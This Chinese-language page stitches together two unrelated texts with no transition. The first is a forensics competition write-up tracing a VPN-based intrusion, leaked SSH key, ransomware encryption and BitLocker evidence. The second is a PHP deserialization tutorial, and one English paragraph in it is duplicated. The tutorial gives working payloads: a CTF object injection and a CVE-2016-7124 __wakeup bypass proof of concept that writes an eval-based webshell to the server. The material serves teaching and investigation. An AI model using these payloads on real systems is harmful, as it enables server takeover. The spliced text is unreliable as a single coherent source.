查看/etc/ppp/options.pptp文件可以知道,pptpd开启了日志信息,记录在/var/log/pptpd.log中(当然在历史命令中也可以得知该日志):

继续查看该目录下的chap-secrets文件,该文件为用户验证文件,记录了客户端的使用名称和密码:

查看pptpd的日志进行分析,发现IP为172.16.80.188通过账号VPN1成功登陆VPN服务器,时间为2019-07-13 14:15:37 UTC+6(注意!该服务器时区为UTC+6,与北京时间相差2小时),这段时间内还有多个IP通过VPN2\3\4等账号连结果vpn服务器(干扰项),结合下面的PCAP文件可以进行排查筛选:



查看last登陆成功日志可以对应上时间:

已知该服务器中存在着数据包文件,将两个文件导出并进行分析,查看到两个文件的内容,该vpn服务器为双网卡,对内IP为192.168.184.133,具备对检材1(192.168.184.128)和检材2(192.168.184.129)访问权限,出口/服务端IP为172.16.80.92,通过分析可发现IP172.16.80.188在北京时间16:15-17:58之前进行了大量的操作,以192.168.184.133的身份对目标网站进行了连接和访问:

检材4

使用密码172.16.80.188对检材4进行解压,并使用火眼介质分析和火眼仿真对该介质进行动态和静态分析:

1.github访问

使用火眼介质分析分析上网记录发现目标服务器(192.168.184.128)的访问记录:
16:17分找到权限并尝试登陆页面

结合前面服务器的登陆日志、网站访问日志、抓包文件等分析结果确认最早入侵时间为北京时间2019-07-13 16:17:35(注意!目标服务器的时区为0时区,与北京时间相差8小时)

在入侵开始时,嫌疑人除访问目标服务器外,还访问了github,根据上网记录登陆github网址查看,搜索用户PackerLin,查看该用户页面,发现其上传过test2的文件,下载后发现为密钥文件,使用该文件尝试连接目标服务器,可以成功登陆,结合检材1默认设置为密钥登陆(禁用密码登陆),可以确认嫌疑人是从git上发现了服务器的连接密钥,从而对服务器实施的入侵。

2.手机备份分析

使用火眼介质分析发现内容如下:
IOS备份,虚拟机记录Ubuntu,Xshell连接密钥

通过仿真启动检材4镜像,在桌面看到如下内容:
Xshell直接运行起来发现其中有两个连接记录,通过密钥的方式进行的连接,密钥文件为packerlin’s test(Xshell的缓存)

同时桌面还有一个便签内容为‘niuroumian6’,一个新建文本文档,打开之后看起来像一个密码字典,

使用火眼添加手机备份文件为证据直接进行分析,发现该手机备份为加密备份,尝试发现的各种密码,‘niuroumian6’成功解开备份,可以直接对手机备份进行分析,手机内的短信、微信、qq中均发现案件相关聊天记录,通过聊天记录基本可以梳理出来整个案发的流程,同时通过短信了解到该嫌疑人还使用钓鱼网站对一名受害者进行诈骗:

通过对检材4分析,发现前面的虚拟机有嫌疑,因此导出虚拟机查看

3.网站重构

在前面检材分析过程中,发现mongo服务器的数据库被drop掉,数据库中无内容,结合后面聊天记录了解到,在检材2的root目录下存在一个被加密的db,应该是嫌疑人要对目标进行勒索,因此下载了加密软件进行了加密

方法1:可以尝试使用逆向工程的方法对encrypt(5)文件进行分析,查看大致的加密方式,从而尝试破解或者解密。使用IDA对ELF文件进行逆向分析,可以通过代码或者流图大致看出该加密方式为逐字节+66(10进制),然后和AA进行异或,由于加密方式很简单可以通过WINHEX或者编写简单脚本即可实现解密。


方法2:
在windows检材中,C盘根目录发现了一个VHD的文件,

双击直接运行,win10系统会自动挂载,发现该分区为bitloker加密分区,通过时间线分析(详见下文),发现该检材又发出过邮件,但是本机未分析出来,通过前面的流量包考虑到,该设备的流程应该都被检材3监听下来,因此尝试对数据包进行分析,发现了一份邮件发出的数据包,追踪TCP流将邮件提取出,发现了备份的bitlocker密钥,但是压缩包加过密码,因此需要尝试破解,联想到之前发现的密码线索桌面字典和便签,尝试对该压缩包进行字典破解,成功破解出密码 !VCHWEDfdfd2IOA564356:”:” ,



成功解压后,可以对加密分区进行解密,该分区内发现了3个与案件相关的重要文件,结合时间线,db文件为嫌疑人拖库的mongo数据,decrypt为解密程序,we.tar.gz为嫌疑人下载的网站代码,因此直接使用db,或者上传decrypt(解压密码为便签内容)到检材1、2,对其中加密的文件进行解密

通过上述两种方法,我们可以找到正常的数据库备份文件db,因此导回检材2的mongo数据库中,可以尝试重启网站:

由于检材在本地仿真的时候IP发生了变化,因此要调整配置文件的内容,对检材1中的nginx配置文件和数据库配置文件进行修改,此处修改要根据自己虚拟机网络配置的情况进行修改,修改好配置之后,将docker中的run.sh脚本复制到网站目录执行后可以启动网站。



查看检材1中网站配置文件/server/index.js,发现该文件引用了api.js,查看该文件发现其中关键的验证登录的字段,直接使用数据库种明文密码登陆,因此登陆数据库查看user表,使用表中用户登陆网站,成功登陆进去


案情时间线梳理

16:17分找到权限并尝试登陆页面

16:19:54下载密钥文件

16:20:42 运行xshell

16:21:18 设置用户密钥

16:21:28 成功连接128服务器

16:31:06 初次启动xftp,创建文件夹及文件

16;33:00传输web文件,16:33:15传输完成

16:34:55 登陆网页微信

16:40:13 打开rar,解压web文件

16:44:03查看关键数据库链接文件

16:45:45——数据库连接

16:53:45——17:12:30 手机QQ/微信购买ddos

17:15:33 下载runit(DDOS)

17:18:20新建xshell连接,17:18:55连接成功

17:22:23 下载db


17:27:53——17:37:56 手机QQ/微信购买加密解密

17:39:32 下载解密程序

17:42:20 再次访问129服务器

17:44:35 再次连接128服务器

17:45:16 XFTP连接128服务器


17:49:01 bitlocker加密

17:49:45 密钥生成于C:\users

17:51:47 桌面出现txt

17:52:19 目录下出现BitLocker.rar

17:53:24 运行foxmail

参考:

1.https://xdforensics-wiki.github.io/XDforensics-wiki/linux2/#docker
1、https://www.jianshu.com/p/806485990aea Docker文件目录 - 简书
2、https://hub.docker.com/_/mysql mysql - Docker Hub
3、李鹏超, 周凯. 基于Docker容器的电子数据取证方法[J]. 吉林大学学报(理学版), 2019, 57(06): 1485-1490.

0x01 原理解释

PHP的反序列化漏洞其实是PHP对象的属性篡改漏洞。漏洞的成因在于代码中unserialize的参数不可控。导致服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进魔术方法里面执行以实现攻击.

PHP unserialization vulnerability is actually a PHP object property tamper vulnerability.The cause of the vulnerability is that the parameters of unserialize in the code are not controllable.The server was able to receive the deserialized string and unfiltered its variables directly into the magic method to execute the attack.**PHP deserialization vulnerability ** is actually a PHP object property tamper vulnerability.The cause of the vulnerability is that the parameters of unserialize in the code are not controllable.The server was able to receive the deserialized string and unfiltered its variables directly into the magic method to execute the attack.

1. 基础知识

  1. php源码同python一样是由c所写
  2. 可以序列化的对象都可以反序列化
  3. 序列化只序列化对象的属性,不序列化方法
  4. 如果希望PHP调用魔术方法,必须首先在类中定义,否则PHP不会执行未创建的魔术方法。
  5. 序列化后包括,类为object,类长度为4,名为test,包含3个属性:
    第一个属性为string,长度为10,名为testflag;值长度为6,名为active;因为prvate,故而序列化后,原名test被更改
    第二个同上; 因为protected,故而序列化后,原名前加*
    第三个同上; 因为public,故而序列化后,原名不变

    private序列化后格式:\x00+类名+\x00+属性名

    protected序列化后格式:\x00+*+\x00+属性名
  6. 可能有人会问为什么要序列化,因为要使复杂数据写入进程间内存、文件或数据库更容易。所以采取序列化,将复杂的数据结构(对象及其属性)转换成“更扁平”的格式,作为字节顺序流传输。而反序列化将字节流还原为原始对象,方便与网站逻辑交互。

2. 魔术方法

魔术方法(按照常见度排序):以两个下划线__开头,包括:
(1)__construct(),类的构造函数,当对象创建时会自动调用(但在unserialize()时是不会自动调用的)
(2)__sleep(),执行serialize()时,先会调用这个函数
(3)__wakeup(),unserialize()时,先会调用这个函数
(4)__destruct(),类的析构函数,当对象被销毁时会自动调用
(5)__toString(),类被当成字符串时的回应方法。当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(6)__get(),获得一个类的成员变量时调用。当从不可访问的属性读取数据
(7)__call(),在对象中调用一个不可访问方法时调用
(8)__callStatic(),用静态方式中调用一个不可访问方法时调用
(9)__set(),设置一个类的成员变量时调用


其中,__toString()触发条件较多,包括以下:

(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

3. 序列化与反序列化

序列化$data并输出到serialize.txt文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class test {
private $flag = 'Inactive';
protected $test = 'test';
public $test1 = 'test1';

public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag($flag)
{
return $this->flag;
}
}
$object = new test();
$object->set_flag('active');
$data = serialize($object);
file_put_contents("serialize.txt",$data);
echo $data;

反序列化serialize.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class test
{
private $flag = 'Inactive';
protected $test = "test";
public $test1 = "test1";
public function set_flag($flag)
{
$this->flag = $flag;
}

public function get_flag()
{
return $this->flag;
}
}
$data = file_get_contents("serialize.txt");
$data = unserialize($data);
echo $data->test1."<br>";
echo $data->get_flag(); // correspond to serialize.php

魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

class swanQ
{
private $name = 'swanQ';
function __construct()
{
echo "__construct";
echo "</br>";
}

function __sleep()
{
echo "__sleep";
echo "</br>";
return array('name'); //**
}
function __wakeup()
{
echo "__wakeup";
echo "</br>";
}
function __destruct()
{
echo "__destruct";
echo "</br>";
}
function __toString(){
return "__toString"."</br>";
}
}

$object = new swanQ();

$data = serialize($object);
$object1 = unserialize($data);
print $object1;


新建一个对象时,会自动调用__construct()方法,
执行serialize前,会先调用共__sleep()方法
执行unserialize前,会先调用__wakeup()方法
__destruct()了两次说明,当前有两个对象,一个是将类实例化为对象的时候产生的,一个是反序列化后生成的对象。

4.攻击示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//flag is in ctf.php
class Shield{
public $file;
function __construct($filename = ''){
$this->file = $filename;
}
function readfile(){
if (!empty($this->file) && stripos($this->file,'..') === FALSE
&& stripos($this->file,'/') === FALSE && stripos($this->file,'\\')===FALSE){
return @file_get_contents($this->file);
}
}
}

shield.php,类中存在属性$file,且file会调用__construct方法。所以我们利用file即可。

1
2
3
4
5
6
7
8
<?php
require_once ('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)){
$x = unserialize($g);
}
echo $x->readfile();

包含shield.php,new实例时会调用__construct()方法,然后接收用户的反序列化并输出。
payload:直接构造序列化对象作为file的内容,O:6:”Shield”:1{s:4:”file”;s:8:”ctf.php”;}

0x02 php绕过__wakeup: CVE-2016-7124

1.漏洞原理

执行unserialize恢复对象时,会先调用__wakeup()成员函数, 但是当序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行。

漏洞概述: wakeup()魔法函数被绕过,导致执行了一些非预期效果的漏洞
漏洞原理: 当对象的属性(变量)数大于实际的个数时,__wakeup()魔法函数被绕过

2.漏洞复现

  • 漏洞影响版本:
    PHP5 < 5.6.25
    PHP7 < 7.0.10

  • 复现环境

    php5.4.5nts+apache+mysql(phpstudy)

    phpinfo环境搭建成功,其中test.php,233.php均在www目录下。

  • 编写测试脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <?php

    class test{
    public $name = "fairy";
    public function __wakeup(){
    echo "this is wakeup<br>";
    }
    public function __destruct(){
    echo "this is destruct<br>";
    }
    }

    $str = $_GET["s"];
    @$un_str = unserialize($str);

    echo $un_str->name."<br>";

    ?>

    接收参数s,将其反序列化后输出属性name的值。

编写POC访问该脚本

1
http://localhost/test.php?s=O:4:"test":1:{s:4:"name";s:5:"fairy";}

反序列化之前先调用了__wakeup方法,再调用__destruct方法。

构造payload将传入的序列化数据的对象变量个数由1加至2,绕过__wakeup方法执行。–反序列化数据失败无法创建对象的原因

1
2
O:4:"test":1:{s:4:"name";s:5:"fairy";
O:4:"test":2:{s:4:"name";s:5:"fairy";

页面只执行__destruct方法,没有输出name,是因为反序列化数据失败,导致无法创建对象。

修改测试脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class test{
public $name = "fairy";

public function __wakeup(){
echo "this is wakeup<br>";
foreach(get_object_vars($this) as $k => $v){
$this->$k = null;
}
}
public function __destruct(){
echo "this is destruct<br>";
$fp = fopen("D:\\phpstudy\\PHPTutorial\\WWW\\233.php","w");
fputs($fp,$this->name);
fclose($fp);
}
}

$str = $_GET["s"];
@$un_str = unserialize($str);

echo $un_str->name."<br>";
?>

构造POC写入一句话木马:

1
http://localhost/test.php?s=O:4:"test":2:{s:4:"name";s:29:"<?php @eval($_POST['123']);?>

此时调用destruct方法会将name参数写入233.php文件,但windows弹窗自动禁止。

一句话木马被写入233.php。

0x03 寻找php反序列化漏洞的流程

  • 寻找unserialize()函数的参数是否有可控点
  • 寻找存在wakeup()或destruct()魔术方法的类
  • 逐层研究该类在魔术方法种使用的属性及属性调用的方法,看是否有在当前调用种可以触发的可控属性
  • 复制部分代码,构造序列化攻击

如何防止

一般而言,除非绝对必要,否则应避免对用户输入进行反序列化。

在开始反序列化之前,必须进行检查。如果确实需要反序列化来自不受信任来源的数据,请采用措施以确保数据未被篡改。如可以使用数字签名来检查数据的完整性。

避免完全使用通用的反序列化功能。这些方法的序列化数据包含原始对象的所有属性,包括可能包含敏感信息的私有字段。可以创建自己的特定于类的序列化方法,以便至少可以控制公开哪些字段。

参考

[1] 深入理解PHP反序列化漏洞:https://www.k0rz3n.com/2018/11/19/
[2] CVE-2016-7124——php绕过__wakeup():http://www.cl4y.top/521/